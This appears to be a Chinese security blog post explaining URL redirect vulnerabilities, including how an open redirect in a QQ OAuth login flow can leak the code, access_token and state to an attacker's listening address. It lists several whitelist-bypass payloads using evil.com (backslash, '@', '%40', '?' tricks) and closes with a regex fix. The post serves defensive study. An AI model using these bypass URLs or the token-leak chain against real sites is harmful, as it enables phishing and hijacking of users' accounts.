美文网首页
# 漏洞日常记录 之 url跳转

# 漏洞日常记录 之 url跳转

作者: Sevsea | 来源:发表于2018-09-21 17:53 被阅读0次

url跳转是现在web安全中很常见的问题,是个比较不起眼的漏洞了。
从日常中学会了一些不一样的角度,各种可绕过的防御方式。

漏洞影响:

此处不再赘述普通的url跳转漏洞带来的影响,
比较另辟蹊径的oauth处的url跳转。
先来看一下oauth第三方账号登录的流程:

默认i.sevsea.me为使用oauth流程但存在url跳转的站点;
http://1.1.1.1:7777 为攻击者正在监听的地址

  1. 首先是访问一个拥有url跳转漏洞的链接:

     http://i.sevsea.me/ajax/qqlogin?extend=shouyou&gamefrom=web_h5&channel=sevseawebsite&from=home&prevUrl=http://1.1.1.1:7777
    
  2. 访问此链接可以跳转至第三方登录处,即下面包含用户state的链接,这里是QQ第三方登录。

     http://graph.qq.com/oauth2.0/show?which=Login&display=pc&which=&display=&state=82502feab21aa34d6d460b1a70c0b516&client_id=101270876&response_type=token&scope=get_user_info&redirect_uri=http://i.sevsea.me/index/qqback
    
  3. 此处将会带着access_token和state跳转到i.sevsea.me/index/qqback,如下:

     http://i.sevsea.me/index/qqback?access_token=FD336A008729CA97FB7AC22602A4304E&expires_in=7776000&state=82502feab21aa34d6d460b1a70c0b516
    
  4. 到此链接后,下一个步骤生成code并将code带至将http://1.1.1.1:7777 访问,如下。

     http://1.1.1.1:7777/?code=01dc82a5e1764e31c9593b89f4b526ec
     #oauth里面,用来授权的字段为access_token、code、state 这三个参数,拿到这三个参数也就可以实行oauth csrf的攻击流程。
    
  5. 可能会有的一个疑问,code能拿到, access_token和 state 怎么拿到呢?

     如果业务站点为https,只要同有一个https的站点,即可拿到
     http://1.1.1.1:7777/?code=01dc82a5e1764e31c9593b89f4b526ec 
     的referer,其中便可直接拿到access_token和state 。
    

所以这类存在于oauth的url跳转,大多有可能造成outh csrf漏洞。

漏洞修复方案绕过:

第一种:
验证缺失(仅验证包含www.yoursite.com的情况):

http://evil.comwww.yoursite.com/
http://evil.com/?www.yoursite.com
http://evil.com/www.yoursite.com/

第二种:
利用schema://username:password@host.com/的验证缺失

http://evil.com\@www.yoursite.com
此处evil.com\@被当作了username:password的内容来处理,导致验证缺失。

第三种:
%40绕过域名检测

http://sevsea.me/tjump?u=//www.yoursite.com%40evil.com/5uIGe4g&BNVDLtCSEK

第四种:
业务判断了/字符并做了限制,使用""或?绕过

首先尝试添加包含前斜线(/)char的子域名,例如evil.com/.www.yoursite.com,但是它不成功,因为检查了子域的字符,并阻止我使用前斜杠字符。但是当我在子域中使用反斜线字符时,并没有被阻止.
(技巧:浏览器在看到斜杠字符时转换为前斜杠字符。)
http://evil.com\?www.yoursite.com/

使用 http://evil.com?www.yoursite.com/时候浏览器会自动解析为 http://evil.com/?www.yoursite.com/,绕过了对/字符的限制。
http://evil.com?www.yoursite.com/

漏洞修复方案:

正则匹配方案:

https?:\/\/[a-zA-Z0-9\.]*?\.360\.cn\/

相关文章

  • # 漏洞日常记录 之 url跳转

    url跳转是现在web安全中很常见的问题,是个比较不起眼的漏洞了。从日常中学会了一些不一样的角度,各种可绕过的防御...

  • URL跳转漏洞

    URL跳转漏洞(URL重定向漏洞),跳转漏洞一般用于钓鱼攻击。 原理:URL跳转漏洞本质上是利用Web应用中带有重...

  • URL跳转漏洞

    0x00 相关背景介绍 由于应用越来越多的需要和其他的第三方应用交互,以及在自身应用内部根据不同的逻辑将用户引向到...

  • 常见WEB攻击之URL跳转漏洞

    一、什么是URL跳转漏洞 URL 跳转漏洞是指后台服务器在告知浏览器跳转时,未对客户端传入的重定向地址进行合法性校...

  • CVE-2018-14574

    Django < 2.0.8 任意URL跳转漏洞(CVE-2018-14574) 1.漏洞影响版本 django....

  • 工作记录 - URL编码,特殊字符处理

    问题记录:后台服务器返回一个网络url,客户端点击图片跳转到具体的url,发现某些url跳转不了,后来查看发现使用...

  • App跳转到权限设置界面

    iOS 10 App跳转到权限设置界面(iOS10之前就不各个记录了) 私有方法跳转 (1)跳转的URL(系统差异...

  • 浅析渗透实战中url跳转漏洞

    前言 最近在一些厂商项目中开始接触到一些url任意重定向,虽然是低危,奖金较低,(虽然国外已经是几百$)但是一旦找...

  • 俩个应用间的循环跳转

    应用跳转是根据协议头跳转 A跳转B,需要B增加URL Types ,A应用根据URL的协议头跳转 iOS8之前的跳...

  • iOS开发之App之间的跳转

    一.设置需要跳转到的App的URL Scheme 设置该App的URL Schemes 二.配置要跳转App的跳转...

网友评论

      本文标题:# 漏洞日常记录 之 url跳转

      本文链接:https://www.haomeiwen.com/subject/pbhznftx.html